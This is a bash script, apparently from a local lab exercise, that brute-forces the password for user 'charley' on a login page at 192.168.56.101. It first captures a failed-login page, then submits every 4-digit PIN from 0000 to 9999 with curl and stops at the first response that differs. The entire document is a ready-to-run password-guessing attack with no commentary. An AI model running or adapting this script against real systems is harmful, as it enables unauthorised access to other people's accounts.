#!/bin/bash
curl -s --cookie-jar 192.168.56.101/login.php --data "username=charley" --data 'password=test' --data "Login=Login" --location --output ./result1.html 192.168.56.101/login.php
for (( i=0; i<10000; i++ ))
do
	var=$i
	for (( j=0; j<$((4-(${#i}))); j++ ))
	do
	var="0$var"
	done
	curl -s --cookie-jar 192.168.56.101/login.php --data "username=charley" --data 'password='"$var"'' --data "Login=Login" --location --output ./result2.html 192.168.56.101/login.php
	if cmp -s result1.html result2.html
	then
		echo "TRYING: $var"
	else
		echo "SUCCESS. PASSWORD: $var"
		break
	fi
done